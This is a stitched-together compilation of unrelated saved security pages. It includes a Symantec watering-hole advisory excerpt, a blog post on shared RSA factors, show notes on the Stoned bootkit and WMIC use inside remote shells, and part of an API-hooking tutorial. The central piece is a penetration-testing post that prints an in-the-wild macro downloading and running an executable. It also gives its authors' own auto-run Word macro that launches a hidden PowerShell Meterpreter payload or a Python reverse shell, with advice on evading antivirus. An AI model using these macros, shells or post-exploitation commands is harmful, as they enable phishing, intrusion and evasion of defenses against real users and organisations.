malicious index.html file then loads the cc.swf Adobe Flash file
\(Trojan.Swifi \) containing the zero-day**.** Once exploited, a logo.gif
image file is downloaded containing encrypted shellcode which downloads and
executes the malicious server.exe \(Backdoor.Jolob \) payload**.**

**How can I prevent and mitigate against this attack**?****

Symantec recommends users update their Adobe product installations to the
latest versions to address this critical vulnerability**.** Details of how to
upgrade software are available in an Adobe Security Bulletin **.**

Symantec customers are protected from this zero-day attack with the following
detections:

**Antivirus**

**Intrusion Prevention Signatures**

  * Web Attack: Malicious SWF Download 22 

As always, we also advise customers to use the latest Symantec technologies
and incorporate the latest Symantec consumer and enterprise solutions to best
protect against attacks of any kind**.**

**Watering hole attacks remain popular**

This latest watering hole attack demonstrates that it remains a popular
technique for attackers to target individuals of interest**.** The use of yet
another zero-day indicates the arsenal available to attackers shows no signs
of depletion**.** Multiple websites have been identified using this Adobe
Flash zero-day, all with different payloads being delivered**.** This may be
the result of this particular zero-day being sold to a number of different
attackers, or possibly that it was used by a single attacker in multiple
campaigns**.** Symantec continues to investigate this attack to ensure that
the best possible protection is in place**.**

<img src='img/Temp2_5582.png' alt='watering-hole-attacks.png' />

**_Figure 2**.**_**_Anatomy of a watering hole attack_

****

# The keys to the keydom | bit-player
**Created:**| _10/28/2013 10:55:30 AM_  
---|---  
**Updated:**| _10/28/2013 10:55:30 AM_  
**Author:**| __  
**Tags:**| _crypto random_  
  

# **T** he keys to the keydom****

Your security and privacy on the Internet \(to the extent that such quaint
notions still have meaning\) depend on the difficulty of factoring certain
large numbers**.** For example, take this 1,024-bit integer:

> _X_ =
> 123784517654557044204572030015647643260197571566202790882488143432336664289  
>
> 53013160757127360381500856200680250007894557646372684708763884626821078230649  
>
> 285613963510276802208436872101227718450860737080502115462982139570265498874808  
>
> 3875440199841915223400907734192655713097895866822706517949507993107455319103401
The number printed above in squinty type is the product of two 512-bit prime
factors**.** If you set out to find those factors, the project might well keep
you busy for many megayears**.** But I can make the job much easier by giving
you a second number of the same size:

> _Y_ =
> 139752806258570179719657334941265463008205415047073349942370461270597321020  
>
> 717639292879992151626413610247750429267916230424010955054750502833517070395986  
>
> 2897242371124108160005581486237854115688455171463034213840635250918248983182261  
>
> 75234193815950597041627518140906384889218054867887058429444934835873139133193
Factoring both _X_ and _Y_ would appear to be twice as much work, but in fact
you can do it lickety-split**.** On my laptop it took roughly 200
microseconds. From millions of years to millionths of a second—that’s quite a
speedup**\!**

There’s a trick, of course. Both _X_ and _Y_ are products of two large primes,
but it so happens that one of the primes is a shared factor of both
numbers**.** For finding that shared factor, we can rely on a very old, very
famous, very simple and very efficient algorithm: Euclid’s algorithm for the
greatest common divisor**.** In Python it looks like this:

| `def` `gcd(a, b):``if` `b ``=``=` `0``:``return` `a``else``:``return`
`gcd(b, a ``%` `b)`  
---|---  
\(The ‘%’ in line 5 is Python’s _modulo_ or _remainder_ operator**.**\) When
this function is applied to _X_ and _Y_ , the recursion is invoked 297 times
before returning the common factor:

> _F_ =
> 1070467931937606706425630145948715022696962191248959648262850980092208031819  
>
> 9635726117009340189103336170841315900354200725312700639146605265442630619090531
You don’t have to take my word for it that _F_ divides both _X_ and _Y_**.**
Do the division: In that way you will also learn the co-factors of _X_ and
_Y_**.**

If _X_ and _Y_ were components of public keys in the RSA cryptosystem, their
shared factor would create a huge hole in the security fence**.** And the
problem is particularly insidious in that each of the two keys, when examined
in isolation, looks perfectly sound; the weakness only becomes apparent when
you have both members of the pair**.**

This potential vulnerability of factoring-based encryption methods has been
known for decades, but it seemed there was no reason to worry because
coincidentally shared factors are so utterly unlikely**.** A couple of weeks
ago I heard an eye-opening talk by Nadia Heninger , a member of a group that
has searched for such unlikely coincidences in the wild**.** They found 64,000
of them. Reason to worry.

* * *
Heninger and her colleagues polled every public IPv4 address in the known
universe, requesting a connection on the ports commonly used for two secure
communication protocols, TLS  and SSH **.** For every address that responded
to queries on those ports, they collected the server’s public encryption key,
then closed the connection**.** Here I am going to discuss only the TLS
servers with RSA keys; there were vulnerabilities in other cryptosystems as
well, but the issues are slightly different**.**

Before telling the rest of this story, I have to pause here**.** For those of
you in the born-digital generation, pinging every address on the Internet may
sound like a routine walk around the block on a sunny afternoon, but I confess
that I never would have dared to try anything so audacious**.** It’s like
knocking on every door in America, or calling every possible telephone
number—a task that’s not feasible for individuals of ordinary means, and that
also seems unforgiveably rude**.** But standards of feasibility and rudeness
are different in the world of machine-to-machine communication**.** Computers
don’t care if you make four billion hangup calls \(although some system
administrators might frown on the practice\)**.** And, after all, the
encryption keys being collected are by definition _public_**.**

Back to Heninger’s story. They ran their scan of IP addresses from Amazon’s
Elastic Compute Cloud service, where the data-collection phase of the project
took a few days**.** Out of billion addresses \(less a few special-purpose or
reserved areas\) they found about 29 million servers accepting connections on
the standard port for TLS, but only 12**.** 8 million of those servers
supplied public keys. Some 60 percent of the keys retrieved were not
unique**.** Presumably, most of the duplicates are accounted for by
organizations that have multiple servers all operating with the same
cryptographic credentials, but there were also instances of apparently
unaffiliated individuals sharing a key**.** This is rather like discovering
that your house key also opens your neighbor’s front door**.** \(And vice
versa.\)

After eliminating the duplicates, some 5**.** 8 million distinct RSA keys
needed to be tested for common factors**.** Even though Euclid’s GCD algorithm
is highly efficient, running it on all possible pairings of keys would be a
strain**.** There’s an ingenious shortcut, based on the observation that if is
relatively prime to each of , then it also has no factor in common with the
product **.** Thus it’s possible to detect the presence of shared factors with
just GCD operations, instead of **.** A drawback of this approach is that the
product of millions of RSA keys is a huge number, and intermediate results
have to be swapped out to disk**.** Nevertheless, the processing was completed
in an hour and a half on the Amazon cloud at a cost of $5**.**

The output was a list of 64,081 compromised keys for TLS hosts, about 0**.** 5
percent of all such keys collected. For obvious reasons, Heninger et al. are
not publishing that list; they tried to contact the owners of vulnerable
machines, and they offer a web lookup service where you can check to see if
your key is on the list**.**

The good news is that none of the weak keys are guarding access to major web
servers hosting bank accounts or medical records or stock markets or military
installations**.** Most of them are found in embedded networked devices, such
as routers and firewalls**.** That’s also the bad news. A programmer with
malicious intent who can gain control of a well-placed router can make a lot
of mischief**.**

* * *
Could the prevalence of common factors in RSA keys be explained as a product
of pure bad luck**?** To answer this question we need to solve a birthday
problem**.** The original version of this problem asks how many people you
need to bring together before there’s a good chance that two or more of them
will have the same birthday \(assuming birthdays are distributed randomly over
the 365 days of the year\)**.** An order-of-magnitude approximation is , or
about 19**.** \(The actual number is 23.\) For the RSA variant of the problem,
we ask how many 512-bit primes you need to generate—assuming you select them
uniformly at random from the set of all such primes—before you have a good
chance of seeing at least one prime twice**.** In this case we replace 365
with the number of 512-bit primes, which is in the neighborhood of **.** Thus
there’s scarcely any chance of a collision until the number of randomly
generated primes approaches **.** We’re only at so far. As Heninger said in
her talk, we have enough 512-bit primes to assign a public encryption key to
every atom in the universe, with little worry over possible duplicates**.**

According to this line of reasoning, it would be a colossal fluke to see even
one duplicated RSA prime, and finding 64,000 of them is clear evidence that
those primes are not being chosen uniformly at random**.** The blame
apparently lies with pseudorandom number generators**.** It’s not that the
algorithms are defective. In many cases, cryptographic keys are being
generated immediately after a machine is booted, when it just can’t scrape
together enough entropy to make a passable pseudorandom number**.**

* * *
#### Sources**** :

Heninger gave her talk at a birthday-party  for Microsoft Research New England
on October 9**.** Eventually, video may be available**.**

The paper describing the project is “Mining Your Ps and Qs: Detection of
Widespread Weak Keys in Network Devices,” by Nadia Heninger, Zakir Durumeric,
Eric Wustrow, and J. Alex Halderman, presented at the 2012 USENIX Security
Symposium**.** Preprint **.**

At the Microsoft symposium Heninger also discussed at later study of other
cryptographic weaknesses in certain smart cards**.** See “Factoring RSA keys
from certified smart cards: Coppersmith in the wild,” by Daniel J. Bernstein,
Yun-An Chang, Chen-Mou Cheng, Li-Ping Chou, Nadia Heninger, Tanja Lange, and
Nicko van Someren**.** Preprint .

Arjen Lenstra and his colleagues have independently discovered and reported
similar vulnerabilities**.** See “Ron was wrong, Whit is right,” by Arjen K.
Lenstra, James P. Hughes, Maxime Augier, Joppe W. Bos, Thorsten Kleinjung, and
Christophe Wachter**.** Preprint .

Open-source software developed by Zakir Durumeric, Eric Wustrow, and J. Alex
Halderman at the University of Michigan for scanning large blocks of the
public IP address space: ZMap **.** A descriptive paper  from the 2013 USENIX
Security Symposium**.**

The Michigan group’s web service for checking public keys against the
collection of known factorable keys: factorable.net **.**

****

# Phishing with Macros and Powershell - Security SiftSecurity Sift

**Created:**| _8/19/2015 11:40:48 AM_  
---|---  
**Updated:**| _8/19/2015 11:40:48 AM_  
**Author:**| __  
**Tags:**| _socialising powershell_  
  

Over the past 6 months, it seems we’ve been experiencing a resurgence of
macro-based malware, possibly because it’s such a simple and proven means of
delivering a phishing payload to large organizations. If you’re performing a
penetration test against an organization and you have reason to believe
untrusted macro execution is enabled, they can also be a good means to test
user awareness and gain a foothold via social engineering.

Regardless of their popularity, quite often these macro-based exploits fail
for a number of reasons. If you’re the target, hopefully it’s because you’ve
recognized that untrusted macros are dangerous and have taken the steps to
prevent their execution in your environment. If not, you might be finding that
reliance on network and desktop security products for protection can be a bit
of a gamble.

Sometimes you get lucky and these exploits fail due to simple coding errors.
Take for example the following heavily obfuscated example I came across
recently:

<img src='img/Temp2_6232.png' width='437' height='220' alt='macro5' />

In order for this obfuscated macro to work, the above variables are parsed and
the values extracted using the InStr\(\) function to generate the destination
URL from which to download the malicious executable payload. In the portion of
the macro highlighted below, the value used as parameter string2 is derived
from the Chr\(\) function. Unfortunately, the value passed to that function
\(joHNknVFXmrvEA\) is incorrectly calculated, the resulting call to InStr\(\)
returns a null, and the macro exploit fails.

<img src='img/Temp2_6233.png' width='495' height='220' alt='macro4' />

A little tweak to the code and we can see where the macro was intending to
download the malicious payload from:

<img src='img/Temp2_6234.png' width='211' height='114' alt='macro3' />

Of course relying on poorly written macros is not a good security control and
if for some reason you allow untrusted macros to run, you are at the mercy of
your other security protections. A while back, my coworker and I analyzed
another macro-based Word exploit that we saw in the wild and the approach the
author used was simple and pretty typical – download and run a malicious
executable on the victim’s workstations, sans any real obfuscation.

Here’s an abridged view of the macro:

12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849 | Sub Auto\_Open\(\)Call DownloadFile\("33", "33.EXE"\)End Sub Sub AutoOpen\(\)Call DownloadFile\("33", "33.EXE"\)End Sub Function DownloadFile\(ByVal URL As String, ByVal SaveName As String, Optional SavePath As String = "temP", Optional RunAfterDownload As Boolean = True, Optional RunHide As Boolean = False\) On Error Resume Next Err.Clear If 1 <> 3 And 1 <> 3 And 1 <> 3 And 1 <> 3 And 1 <> 3 And 1 <> 3 And 1 <> 3 And 1 <> 3 Then: Set ssssssssssssssssssssssss = CreateObject\("Microsoft.XMLHTTP"\) ssssssssssssssssssssssss.Open "GET", "http://e-trebol.com/404/ss.exe", False '...junk... ssssssssssssssssssssssss.send '...junk... ssssssssssssssssssssssss.getAllResponseHeaders FullSavePath = Environ\(SavePath\) & "\" & SaveName  If 1 <> 3 And 1 <> 3 And 1 <> 3 And 1 <> 3 And 1 <> 3 And 1 <> 3 And 1 <> 3 And 1 <> 3 And 1 <> 3 And 1 <> 3 Then: Set ffffffffffffffffffffffff = CreateObject\("ADODB.Stream"\)  ffffffffffffffffffffffff.Open  '...junk...  ffffffffffffffffffffffff.Type = 1  '...junk...  ffffffffffffffffffffffff.Write  ssssssssssssssssssssssss.responseBody  '...junk...  ffffffffffffffffffffffff.SaveToFile FullSavePath, 2  If Err Then  DownloadFile = False  Else  If RunAfterDownload = True Then  If RunHide = False Then: CreateObject\("WScript.Shell"\).Run FullSavePath  End If  DownloadFile = True  End If Application.DisplayAlerts = False Application.Quit End Function  
---|---  
It’s easy to see what’s happening in the above code…the macro attempts to
download a file called 33.exe \(containing some exploit code\), save it to the
user’s temp directory, and execute it.

While really basic in concept, phishing attempts like these can be effective
if you allow untrusted macro execution \(either via prompt or automatically\).
With this example, if macros were enabled, the code would execute and the Word
document would immediately close. However, if the target didn’t have macros
enabled, the Word document would remain open and provided detailed
instructions \(with screenshots\) on how to enable macros as a last ditch
effort to trick the recipient.

Aside from macros not being enabled \(we will assume they are if you’re
intentionally using a macro-based exploit\), the problem with the above
approach if you’re using them in a penetration test is that it can easily be
detected for a couple of reasons.

First, although the document itself does not contain the executable payload,
the macro signature is enough to trip most exchange-based AV \(stripping the
attachment before the target user receives the email\). That was easy enough
for us to fix in the above example…we simply broke up the macro code into
smaller functions and moved some of the hard-coded string values to local
variables.

Even after bypassing any Exchange-based AV and successfully delivering the
attachment to the target, you still have to deal with AV detection for the
downloaded executable. In many large organizations this means not only
bypassing client-side AV once it’s downloaded, which is relatively easy \(see
here for more\), but also firewall and web proxy AV, which could prevent the
download altogether. Sure it can be done, but if you’re using a macro-based
exploit in a penetration test, why try and tackle AV bypass if you don’t have
to?

Instead I figured why not remove the executable entirely and harness the power
of Powershell? For our demo we went with a simple Meterpreter reverse TCP
shell, generated with the handy Unicorn tool \(by Dave Kennedy at
TrustedSec\).

Rather than wrestle with VBS and it quirky string length limits, we can embed
the Powershell script right into the Document properties of the Word file \(in
this case, the Author field\) and just reference the value via a local
function variable in our macro.

<img src='img/Temp2_6236.png' width='232' height='240' alt='macro1' />

We don’t want the Powershell window to display for the end user at all, hence
the -nologo, -win hidden, etc.

Now, it’s just a matter of updating the macro to run the powershell:

12345 | Dim ps As Stringps = ActiveDocument.BuiltInDocumentProperties\("Author"\).ValueDim Obj As ObjectSet Obj = CreateObject\("WScript.Shell"\)Obj.Run ps, 0  
---|---  
Simple, right?

This works fine for Windows clients but we couldn’t forget about our Mac users
so just for fun we decided to implement a simple python reverse shell for
anyone running MS Word on a Mac.

Here’s the combined code:

123456789101112131415161718192021222324252627282930313233 | Sub Auto\_Open\(\)Call winshellEnd Sub Sub AutoOpen\(\)Call winshellEnd Sub Function winshell\(\) As Object On Error GoTo ErrorHandler Err.Clear ' get / execute powershell command from doc property Dim ps As String ps = ActiveDocument.BuiltInDocumentProperties\("Author"\).Value Dim Obj As Object Set Obj = CreateObject\("WScript.Shell"\) Obj.Run ps, 0 ' winshell failed, try macshell ErrorHandler: macshell Application.DisplayAlerts = FalseEnd Function Function macshell\(\) On Error Resume Next Err.Clear scriptToRun = "do shell script ""python -c 'import urllib2,socket,subprocess,os; s=socket.socket\(socket.AF\_INET,socket.SOCK\_STREAM\); s.connect\(\(\""192.168.1.1\"",4321\)\); os.dup2\(s.fileno\(\),0\); os.dup2\(s.fileno\(\),1\); os.dup2\(s.fileno\(\),2\);p=subprocess.call\(\[\""/bin/sh\"",\""-i\""\]\);' &""" res = MacScript\(scriptToRun\)End Function  
---|---  
You can see that this is not at all a sophisticated piece of code and there is
no effort to detect the recipient’s OS. Instead, we first attempt the Windows
shell function and if that doesn’t work we revert to the Mac function. If the
latter fails, the exploit simply fails quietly and the user is none-the-wiser.

You may also notice that unlike the first example where the author chose to
close the document, we felt that that was too much of an indicator to the user
that something was amiss so we made sure to allow the user to close it on
their own \(allowing you to add meaningful content and further legitimize the
attachment\). Since the shell is executed via a separate Powershell \(or
python\) process, it is not dependent upon the Word document remaining open
anyway.

Unlike the original version that has the added detection risk of downloading
and running a malicious executable, this approach is self-contained and more
likely to bypass AV detection. That said, it’s not without its flaws. First,
if you truly want to target Mac users, you have to consider that you’re more
likely to get a macro prompt which could tip off the intended target:

<img src='img/Temp2_6235.png' width='330' height='127' alt='macro2' />

Second, using a standard Metasploit payload can still trigger other security
protections such as client- or network-based IPS, so additional modification
may be required depending on your target test environment. If you’re targeting
users with Administrator privileges and you are familiar with the target test
environment you might also include some macro instructions to disable the
workstation AV client which we also tested with success.

This is by no means a perfect approach, but if you’re set on using an MS
Office macro-based phishing exploit for your next penetration test, you might
consider an embedded Powershell script as your initial payload delivery to
avoid the hassles of AV bypass.

A special thanks to my colleague Andy \(@Blackjack988\) for helping me create
and test this PoC.

Until next time,

Mike

Follow @securitysift

### Share this:

  * Google
  * Twitter
  * Facebook
  * LinkedIn
  * Email
  * Pinterest
  * Reddit
  * 

# Episode155 - PaulDotCom Security Weekly

**Created:**| _8/5/2009 1:04:30 PM_  
---|---  
**Updated:**| _8/5/2009 1:04:59 PM_  
**Author:**| __  
**Tags:**| _rootkits pauldotcom Metasploit Tutorials_  
  

# Interview: Peter Kleissner

Peter Kleissner is employed at Ikarus Security Software as a core developer in
Vienna, Austria.

Peter's main site

Peter will be giving us a brief introduction to his Stoned Bootkit.

Stoned Bootkit is a brand new Windows bootkit. It is loaded before Windows
starts and is memory resident up to the Windows Kernel. Thus Stoned is
executed beside the Windows Kernel and has full access to the entire system.
You can use it to create your own boot software \(diagnostic tools, boot
manager, etc\). It gives the user back the control to the system and has
exciting features like integrated FAT and NTFS drivers, automated Windows
pwning, plugins and boot applications, and much much more. It finally goes
back to the roots - so in this way, your PC is now Stoned\! ...again

Stoned..

[code]

    - is a Master Boot Record, with the target to be memory resident up to the Windows Kernel
    - attacks Windows XP, Server 2003, Vista, Server 2008, 7
    - supports the IA32, AT Architecture (IBM-conforming)
    - has rich API support
    - supports the following boot methods: Floppy, Hard Disk, CD/DVD/Blu Ray, Network (PXE), USB flash drives, and others
    
    
[/code]

  
The project name was inspired by "Stoned", which was one of the first boot
viruses, http://en.wikipedia.org/wiki/Stoned\_\(computer\_virus\), but even
able to attack Windows Vista.

The full name is "Stoned-Vienna", the virus name \(for future signatures\) is
"Stoned.Vienna.A". He notes that the bootkit is going to be polymorphic and
metamorphic. The target of Stoned is to be the most sophisticated and most
widespread used bootkit in 2010 - "For fun 'n' profit".

  
Very recently, Peter decided to close the source for the Project as he felt
the code could cause too much damage in the hands of the wrong people.

His briefing has now been accepted to Black Hat USA 2009. There are new plans
for an open Stoned Bootkit framework. If you want to become a beta reader of
the Stoned paper, please send a mail to Peter@Kleissner.at.

Peter has reverse engineering and tracked Sinowal since October 2008, after he
received an infected notebook from an Austrian bank. Since then he reverse
engineered the Sinowal code to follow its improvements. The newest
developments \(since April 2009\) are multi-platform support for Windows XP
and Vista. There is no public information available about the new versions as
the internal Sinowal Working Group decided NOT TO RELEASE ANY INFO to public,
until the "bad people" would just change the algorithms, implementations and
everything would begin from new. However, after looking at Sinowal, Peter
describes the code as "quite sophisticated, very much like an intelligence
service \(very well organized, real-time handling of new threats and movements
etc.\)".

Beside that development, he used parts of Mebroot \(that is the startup code
of Sinowal\) for his own purposes in his new Stoned Bootkit which will be
presented at Black Hat USA 2009. Stoned Bootkit was created out of the
Hibernation File Attack, another previous project by Peter. Stoned basically
has full access to the system and is able to bypass any security check done by
Windows. One reason he initially made it open source \(released a framework\)
was that he felt Microsoft was underestimating bootkits. Peter was frustrated
by the thinking that bootkits need "physical access" and that "Bitlocker"
would make bootkits unusable. He will present the opposite at Black Hat, and
his briefing will show that bootkits can bypass TrueCrypts full volume
encryption\!

  
Questions for Peter:

  1. How did you get started in Information Security?
  2. How did you get started in malware analysis?
  3. How do you balance your research with your school schedule?
  4. What are the most interesting malware packages to examine?
  5. Do you worry your reports will make it easier for the "bad guys" to make better malware?
  6. What trends do you see happening in malware development?
  7. Which of these trends are most troubling to you?
  8. Do you think anti-virus products will ever be effective?
  9. Give us a sample of what you'll be covering at Black Hat
  10. What countemeasures can our listeners use?
  11. Is there a safe\(r\) Windows version?

# Tech Segment: Carlos "Dark0perator" Perez on Running wmic in shell

WMIC is one of those Windows command that you just love do to it's flexibility
but sadly when you have a shell you are not able to run it because it breaks
the shell losing possible hours of work to achieve the shell and possibly by
running the attack again one might bring down the target server. When WMIC
\(Windows Management Instrumentation Command-line\) is ran on a shell it will
execute several Terminal commands that are not handled properly by a command
shell and it will break it, I have seen just issuing the command without any
options breaks Meterpreter, Core Agent, Netcat and simple bind shells. I have
found out of the need of needing the flexilibility of WMIC ways to work around
the limitations imposed by running a command shell, lets start with running
WMIC in Meteroreter, the best way is to issue in the Meterpreter console to
invoke the command in the following maner:

  

[code]

    execute -H -f cmd.exe  -a "/c wmic /append:c:\\windows\\temp\\34des34.txt process get name,processid,commandline"
    
    
[/code]

  
As you can see to be able to run the command we invoke it by running it hidden
with the -H option, we execute cmd.exe passing it as a value to the -f option
and using -a option to pass the options to cmd.exe where we tell cmd.exe to
execute the command wmic with the append option so as to write the output to a
text file witch we can later download or open to retrieve the content.

To be able to achieve the same in a command shell we take advantage of the
Windows Scripting Host environment to be able to execute WMIC as a hidden
process and we tell WSH not to wait for the output this will mitigate the
shell failing. We first from shell we create our vbs script for executing the
command by running the following:

  

[code]

    echo CreateObject("Wscript.Shell").Run Wscript.Arguments(0), 0, False > execcmd.vbs
    
    
[/code]

Now that we have created the script we can use it from shell to execute our
WMIC command:

[code]

    cscript //nologo execcmd.vbs "wmic /append:c:\windows\temp\34des34.txt process get name,processid,commandline"
    
    
[/code]

once we have ran the command we use the type command in the windows shell to
be able to see the contents of the file:

[code]

    type c:\windows\temp\34des34.txt
    
    
[/code]

we can even script out entire enumeration by doing something like this:

[code]

    echo wmic /append:c:\windows\temp\34des34.txt computersystem list >> c:\windows\temp\sdcx.cmd
    echo wmic /append:c:\windows\temp\34des34.txt useraccount list >> c:\windows\temp\sdcx.cmd
    echo wmic /append:c:\windows\temp\34des34.txt group list >> c:\windows\temp\sdcx.cmd
    echo wmic /append:c:\windows\temp\34des34.txt service list brief >> c:\windows\temp\sdcx.cmd
    echo wmic /append:c:\windows\temp\34des34.txt volume list brief >> c:\windows\temp\sdcx.cmd
    echo wmic /append:c:\windows\temp\34des34.txt process list brief >> c:\windows\temp\sdcx.cmd
    echo wmic /append:c:\windows\temp\34des34.txt startup list full >> c:\windows\temp\sdcx.cmd
    echo wmic /append:c:\windows\temp\34des34.txt rdtoggle list >> c:\windows\temp\sdcx.cmd
    echo wmic /append:c:\windows\temp\34des34.txt qfe >> c:\windows\temp\sdcx.cmd
    echo wmic /append:c:\windows\temp\34des34.txt logicaldisk get description,filesystem,name,size >> c:\windows\temp\sdcx.cmd
    echo wmic /append:c:\windows\temp\34des34.txt logicaldisk get description,name,freespace,size >> c:\windows\temp\sdcx.cmd
    echo wmic /append:c:\windows\temp\34des34.txt volume get label,freespace,filesystem,capacity,driveletter >> c:\windows\temp\sdcx.cmd
    echo wmic /append:c:\windows\temp\34des34.txt netlogin get name,lastlogon >> c:\windows\temp\sdcx.cmd
    echo wmic /append:c:\windows\temp\34des34.txt netlogin get name,badpasswordcount >> c:\windows\temp\sdcx.cmd
    echo wmic /append:c:\windows\temp\34des34.txt desktop get screensaversecure,screensavertimeout >> c:\windows\temp\sdcx.cmd
    echo wmic /append:c:\windows\temp\34des34.txt logon get authenticationpackage >> c:\windows\temp\sdcx.cmd
    echo wmic /append:c:\windows\temp\34des34.txt netclient get name >> c:\windows\temp\sdcx.cmd
    echo wmic /append:c:\windows\temp\34des34.txt netuse get name,username,connectiontype,localname >> c:\windows\temp\sdcx.cmd
    echo wmic /append:c:\windows\temp\34des34.txt nteventlog get path,filename,writeable >> c:\windows\temp\sdcx.cmd
    echo wmic /append:c:\windows\temp\34des34.txt os get name,servicepackmajorversion >> c:\windows\temp\sdcx.cmd
    echo wmic /append:c:\windows\temp\34des34.txt service get name,startmode,state,status >> c:\windows\temp\sdcx.cmd
    echo wmic /append:c:\windows\temp\34des34.txt product get name,version >> c:\windows\temp\sdcx.cmd
    
    
[/code]

once the script is generated we execute the script by running:

[code]

    cscript //nologo execcmd.vbs "cmd /c c:\windows\temp\sdcx.cmd"
    
    
[/code]

WMIC is an extremely flexible command that can even be used to even execute
command on remote hosts and get information from them. For more reference
please take a look a Mick Douglas excellent WMIC tech segment on Episode 141

# CodeProject: API hooking revealed. Free source code and programming help

**Created:**| _9/3/2009 9:33:59 AM_  
---|---  
**Updated:**| _9/3/2009 9:34:18 AM_  
**Author:**| __  
**Tags:**| _bookmark reversing API hooking_  
  

  * Download source files - 69 Kb
  * Download demo project - 139 Kb

<img src='img/Temp2_1514.jpg' width='330' height='126' alt='Sample Image -
demo.jpg' />

## **Introduction**

Intercepting Win32 API calls has always been a challenging subject among most
of the Windows developers and I have to admit, it's been one of my favorite
topics. The term Hooking represents a fundamental technique of getting control
over a particular piece of code execution. It provides an straightforward
mechanism that can easily alter the operating system's behavior as well as 3rd
party products, without having their source code available.

Many modern systems draw the attention to their ability to utilize existing
Windows applications by employing spying techniques. A key motivation for
hooking, is not only to contribute to advanced functionalities, but also to
inject user-supplied code for debugging purposes.

Unlike some relatively "old" operating systems like DOS and Windows 3.xx, the
present Windows OS as NT/2K and 9x provide sophisticated mechanisms to
separate address spaces of each process. This architecture offers a real
memory protection, thus no application is able to corrupt the address space of
another process or in the worse case even to crash the operating system
itself. This fact makes a lot harder the development of system-aware hooks.

My motivation for writing this article was the need for a really simple
hooking framework, that will offer an easy to use interface and ability to
capture different APIs. It intends to reveal some of the tricks that can help
you to write your own spying system. It suggests a single solution how to
build a set for hooking Win32 API functions on NT/2K as well as 98/Me
\(shortly named in the article 9x\) family Windows. For the sake of simplicity
I decided not to add a support do UNICODE. However, with some minor
modifications of the code you could easily accomplish this task.

Spying of applications provides many advantages:

  1. **_API function's monitoring_**   
The ability to control API function calls is extremely helpful and enables
developers to track down specific "invisible" actions that occur during the
API call. It contributes to comprehensive validation of parameters as well as
reports problems that usually remain overlooked behind the scene. For instance
sometimes, it might be very helpful to monitor memory related API functions
for catching resource leaks.  

  2. **_Debugging and reverse engineering_**   
Besides the standard methods for debugging API hooking has a deserved
reputation for being one of the most popular debugging mechanisms. Many
developers employ the API hooking technique in order to identify different
component implementations and their relationships. API interception is very
powerful way of getting information about a binary executable.  

  3. **_Peering inside operating system_**   
Often developers are keen to know operating system in dept and are inspired by
the role of being a "debugger". Hooking is also quite useful technique for
decoding undocumented or poorly documented APIs.  

  4. **_Extending originally offered functionalities_** by embedding custom modules into external Windows applications Re-routing the normal code execution by injecting hooks can provide an easy way to change and extend existing module functionalities. For example many 3rd party products sometimes don't meet specific security requirements and have to be adjusted to your specific needs. Spying of applications allows developers to add sophisticated pre- and post-processing around the original API functions. This ability is an extremely useful for altering the behavior of the already compiled code.

## **Functional requirements of a hooking system**

There are few important decisions that have to be made, before you start
implementing any kind of API hooking system. First of all, you should
determine whether to hook a single application or to install a system-aware
engine. For instance if you would like to monitor just one application, you
don't need to install a system-wide hook but if your job is to track down all
calls to `TerminateProcess()` or `WriteProcessMemory()` the only way to do so
is to have a system-aware hook. What approach you will choose depends on the
particular situation and addresses specific problems.

## **General design of an API spying framework**

Usually a Hook system is composed of at least two parts - a Hook Server and a
Driver. The Hook Server is responsible for injecting the Driver into targeted
processes at the appropriate moment. It also administers the driver and
optionally can receive information from the Driver about its activities
whereas the Driver module that performs the actual interception.  
This design is rough and beyond doubt doesn't cover all possible
implementations. However it outlines the boundaries of a hook framework.  
  
Once you have the requirement specification of a hook framework, there are few
design points you should take into account:  

  * What applications do you need to hook
  * How to inject the DLL into targeted processes or which implanting technique to follow
  * Which interception mechanism to use

I hope next the few sections will provide answers to those issues.

### **Injecting techniques**

  1. **Registry**   
In order to inject a DLL into processes that link with USER32.DLL, you simply
can add the DLL name to the value of the following registry key:  

**HKEY\_LOCAL\_MACHINE\Software\Microsoft\Windows
NT\CurrentVersion\Windows\AppInit\_DLLs**

Its value contains a single DLL name or group of DLLs separated either by
comma or spaces. According to MSDN documentation \[7\], all DLLs specified by
the value of that key are loaded by each Windows-based application running
within the current logon session. It is interesting that the actual loading of
these DLLs occurs as a part of USER32's initialization. USER32 reads the value
of mentioned registry key and calls`LoadLibrary()` for these DLLs in its
`DllMain` code. However this trick applies only to applications that use
USER32.DLL. Another restriction is that this built-in mechanism is supported
only by NT and 2K operating systems. Although it is a harmless way to inject a
DLL into a Windows processes there are few shortcomings:  

     * In order to activate/deactivate the injection process you have to reboot Windows.
     * The DLL you want to inject will be mapped only into these processes that use USER32.DLL, thus you cannot expect to get your hook injected into console applications, since they usually don't import functions from USER32.DLL.
     * On the other hand you don't have any control over the injection process. It means that it is implanted into every single GUI application, regardless you want it or not. It is a redundant overhead especially if you intend to hook few applications only. For more details see \[2\] "Injecting a DLL Using the Registry"
  

  2. **System-wide Windows Hooks**   
Certainly a very popular technique for injecting DLL into a targeted process
relies on provided by Windows Hooks. As pointed out in MSDN a hook is a trap
in the system message-handling mechanism. An application can install a custom
filter function to monitor the message traffic in the system and process
certain types of messages before they reach the target window procedure.

A hook is normally implemented in a DLL in order to meet the basic requirement
for system-wide hooks. The basic concept of that sort of hooks is that the
hook callback procedure is executed in the address spaces of each hooked up
process in the system. To install a hook you call `SetWindowsHookEx()` with
the appropriate parameters. Once the application installs a system-wide hook,
the operating system maps the DLL into the address space in each of its client
processes. Therefore global variables within the DLL will be "per-process" and
cannot be shared among the processes that have loaded the hook DLL. All
variables that contain shared data must be placed in a shared data section.
The diagram bellow shows an example of a hook registered by Hook Server and
injected into the address spaces named "Application one" and "Application
two".  

**Figure 1**

<img src='img/Temp2_1515.jpg' width='500' height='352' />

A system-wide hook is registered just ones when `SetWindowsHookEx()` is
executed. If no error occurs a handle to the hook is returned. The returned
value is required at the end of the custom hook function when a call to
`CallNextHookEx()` has to be made. After a successful call to
`SetWindowsHookEx()` , the operating system injects the DLL automatically
\(but not necessary immediately\) into all processes that meet the
requirements for this particular hook filter. Let's have a closer look at the
following dummy `WH_GETMESSAGE` filter function:

[code]
//---------------------------------------------------------------------------

    
    // GetMsgProc
    
    //
    
    // Filter function for the WH_GETMESSAGE - it's just a dummy function
    
    //---------------------------------------------------------------------------
    
    LRESULT CALLBACK GetMsgProc(
            int code,       // hook code
    
            WPARAM wParam,  // removal option
    
            LPARAM lParam   // message
    
            )
    {
            // We must pass the all messages on to CallNextHookEx.
    
            return ::CallNextHookEx(sg_hGetMsgHook, code, wParam, lParam);
    }
    
    
[/code]

